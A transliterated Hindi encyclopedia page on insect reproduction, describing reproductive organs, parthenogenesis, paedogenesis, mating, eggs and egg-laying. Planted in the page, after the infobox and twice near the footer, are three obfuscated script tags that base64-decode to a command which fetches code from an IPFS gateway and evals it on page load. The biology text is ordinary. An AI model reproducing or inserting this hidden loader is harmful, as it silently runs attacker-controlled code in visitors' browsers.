कीटों का जनन तंत्र
kitoan ka janan tantr
| |
| vivaran | kit pray: chhota, reangane vala, khandoan mean vibhajit sharir vala aur bahut-si taangoan vala ek prani haian. |
| jagat | jiv-jantu |
| up-sangh | heksapoda (Hexapoda) |
| kul | iansekta (Insecta) |
| lakshan | inaka sharir khandoan mean vibhajit rahata hai jisamean sir mean mukh bhag, ek jo di shrriangikaean, pray: ek jo di sanyukt netr aur bahudha saral netr bhi pae jate haian. |
| jatiyaan | praniyoan mean sabase adhik jatiyaan kitoan ki haian. kitoan ki sankhya any sab praniyoan ki sammilit sankhya se chhah guni adhik hai. inaki lagabhag das barah lakh jatiyaan ab tak jnat ho chuki haian. pratyek varsh lagabhag chhah sahastr nee jatiyaan jnat hoti haian aur aisa anuman hai ki kitoan ki lagabhag bis lakh jatiyaan sansar mean vartaman mean haian. |
| avas | kitoan ne apana sthan kisi ek hi sthan tak simit nahian rakha hai. ye jal, sthal, akash sabhi sthanoan mean pae jate haian. jal ke bhitar tatha usake oopar tairate hue, prithvi par rahate aur akash mean u date hue bhi ye milate haian. |
| akar | kitoan ka akar pray: chhota hota hai. apane sookshm akar ke karan ve vahut labhanvit hue haian. yah labh any dirghakay praniyoan ko prapt nahian hai. |
| any janakari | kitoan ki aisi kee jatiyaan haian, jo himaank se bhi lagabhag 50 seantigret niche ke tap par jivit rah sakati haian. doosari or kitoan ke aise varg bhi haian jo garam pani ke un shrotoan mean rahate haian jisaka tap 40 se adhik hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
jananeandriyaan
kitoan mean nar aur mada donoan prakar ki jananeandriyaan kabhi-bhi ek hi kit mean nahian paee jati haian. nar kit mada kit se pray: chhota hota hai. nar mean ek jo di vrishan hota hai aur pratyek vrishan mean shukriy nalikaean hoti haian, jo shukranu ka utpadan karati haian. vrishan se shukranu shukr vahak mean pahuanch jate haian aur aant mean skhalaniy[1]) nalika mean pahuanchate haian, jo shishan mean khulati hai. kabhi-kabhi shukr vahak, kisi nishchit sthan mean phail jate haian aur shukranu jama karane ke lie shukrashay ban jate haian. kinhian-kinhian mean sahayak[2] granthiyaan bhi paee jati haian. mada mean ek jo di aandashay hota hai, pratyek mean aand nalikaean hoti haian, jinamean vikasit hote hue aande pae jate haian.
shukrakosh
aand nalikaoan ki sankhya vibhinn jati ke kitoan mean bhinn-bhinn ho sakati hai. paripakv hokar aande aandavahini mean a jate haian aur vahaan se samany aandavahini[3] mean pahuanchakar mada ke janan sanbandhi chhidr dvara bahar nikal jate haian, pray: ek shukradhani shukranu jama karane ke liye aur ek ya do jo di sahayak granthiyaan bhi upasthit rahati haian. nar ki sahayak granthiyaan ek drav padarth utsarjit karati haian, jo shukranuoan mean mishrit ho jata hai. kabhi-kabhi shukranuoan ko koshakar paiket ban jata hai, jo shukrakosh[4] kahalata hai. mada ki sahayak granthiyaan ka srav aandoan ko ek sath jo data hai, ya pattiyoan athava aandoan ko any vastuoan se chipakata hai. kabhi-kabhi is srav se aandoan ko rakhane ke lie thaili bhi ban jati hai, jaise telachatta mean ban jati haian. barre ki ye granthiyaan vish utpann karati haian, jo dank marate samay shikar ke sharir mean pravisht kar jata hai. aand sansechan donoan liangoan ke sanyog par nirbhar hai. kuchh kitoan mean yah jivan mean kee bar ho sakata hai.
anishek janan
yah sadharan roop se maithun aur shukranu dvara aande ke sansechan par nirbhar karata hai. adhikatar kit aande dete haian, jinase kalaantar mean bachche nikalate haian, kuchh kit aande ka shukranu se sansechan nahian karate haian. is prakar ka janan anishek janan[5] kahalata hai. kuchh jatiyoan mean yah ek anoothi aur kabhi kabhi hone vali ghatana hoti hai, tatha kuchh shalabhoan mean asansechit[6] aandoan se nar aur mada donoan hi utpann hoti haian. samajik madhumakkhiyoan mean anishek janan bahudha hota hai, kiantu asansechit aandoan se keval nar hi utpann hote haian.
chakriy anishek janan
kuchh stik[7] kitoan mean asansechit aandoan se adhikatar mada hi utpann hoti haian aur nar bahut hi kam hoti haian. saphilaiiz mean naroan ki utpatti sanbhavat: hoti hi nahian hai, is karan sansechan ho hi nahian sakata hai. keval anishek janan hota hai. drumayooka[8] mean chakriy anishek janan hota hai, arthath asansechit aur sansechit aandoan mean utpadan niyamanusar kram se hota rahata hai.
pidozenesis
kuchh jatiyoan mean aparipakv[9] kit bhi janan karate haian. is ghatana ko pidozenesis[10] kahate haian. maiestar[11] kit ke dianbh any dianbhoan ka utpadan karate haian aur is prakar kee pidhi tak utpadan hota rahata hai. isake pashchath inamean se kuchh dianbh parivardhit hokar praudh nar aur mada ban jate haian, jo paraspar maithun ke pashchath dianbh utpann karate haian. in dianbhoan se pahale ki bhaanti phir utpadan aranbh ho jata hai. bahubhroonata[12] ka arth hai. ek aande se ek se adhik kitoan ka utpann hona. is prakar ka utpadan parashrayi kala pakshoan mean paya jata hai. plaitigaistar himelis[13] ke kuchh aandoan mean se do dianbh utpann hote haian, kiantu kisi kisi parashrayi kailasid[14] ke pratyek aande se lagabhag ek sahasr tak dianbh utpann ho jate haian.
maithun
kuchh kitoan mean maithun keval ek hi bar hota hai. tatpashchath mrityu ho jati hai, jaisa ephimer aauptara[15] gan ke kitoan mean. madhumakkhi ki rani yadyapi kee varsh tak jivit rahati hai, tathapi maithun keval ek hi bar karati hai aur ek hi bar mean itani paryapt matra mean shukranu pahuanch jate haian ki jivan bhar isake aandoan ka sansechan karate rahate haian. maithun ke pashchath nar ki shighr hi mrityu ho jati hai. bahut se kitoan ke nar jivan mean kee bar prithak-prithakh madaoan se maithun karate haian aur bahut se kanchuk pakshoan ke nar aur mada donoan bar-bar maithun karate haian.
aanda
aande sadharanat: bahut chhote hote haian. phir bhi aande ko dekhakar yah batalana pray: sanbhav hota hai ki aande se kis prakar ka kit nikalega. bahudha yah bat bahut mahatv rakhati hai, kyoanki isase hanikarak kitoan ki hanikarak dasha ke vishay mean bhavishyavani ki ja sakati hai. isalie aandoan ke akar, roop aur rang tatha aande rakhane ke sthan aur vidhi ka dhyan rakhana avashyak hai. aande samatal, shalkyakar, golakar, shankvakar tatha chau de ho sakate haian. aande ka oopari avaran poorn roop se chikana ya vibhinn prakar ke chihnoan vala hota hai. aande prithak-prithakh ya samudayoan mean rakhe jate haian. telachatte[16] ke aande dianbh koshth[17] ke bhitar rahate haian. jalavasi kitoan ke aande chipachipe lasadar padarth se dhake rahate haian. aande mean vriddhi karate hue bhroon ke poshan ke lie paryapt matra mean bhojan mean paya jata hai. jo yok[18] kahalata hai.
aandaropan
aandaropan vibhinn prakar se hota hai. aande aise sthanoan par rakhe jate haian, jahaan utpann hone vali santan ki tatkalin avashyakataean poorn ho sakean. kuchh jatiyoan ki madaean niche u dan u dati haian, apane aande aniyamit riti se girati chali jati haian. bahut se shalabhoan ki madaean, jinake dianbh ghas ya usaki j d khate haian, u date samay apane aande ghas par girati chali jati haian. sadharanat: aande aise paudhoan par rakhean, paudhoan ke ootakoan mean pravisht kar die jate haian, jinako dianbh khate haian, jaise kuchh prakar ke tiddoan mean hota hai. kuchh kit apane aande mitti mean rakhate haian. parashrayi jatiyoan ke kit apane aandoan ko un poshakoan ke oopar ya bhitar rakhate haian, jo unaki santanoan ka poshan karate haian.
shakti
vibhinn jatiyoan ki madaoan ke aandoan ki sankhya vibhinn hoti hai. drumayooka ki kuchh jatiyoan ki madaean shitakal mean keval ek hi b da aanda rakhati haian. ghareloo makkhi apane jivan mean 2,000 se adhik aande rakhati hai. dimak ki rani mean aanda rakhane ki shakti sabase adhik hoti hai. yah prati sekand ek aanda de sakati hai aur apane 6 se 12 varsh tak ke jivan mean 10,00,000 aande deti hai.
bhroon jab poorn riti se vikasit ho jata hai aur aande se bahar nikalane ko taiyar hota hai, tab shukti mean pahale se bani huee topi ko apane aanda pho dane vale kaantoan se hatakar bahar nikal ata hai. kuchh kitoan mean aranbh mean bhroon vayu nigalakar apana vistar itana badha lete haian ki shukti toot jati hai. bachche ko bahar nikalane mean usaki peshiyaan sahayata karati haian.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>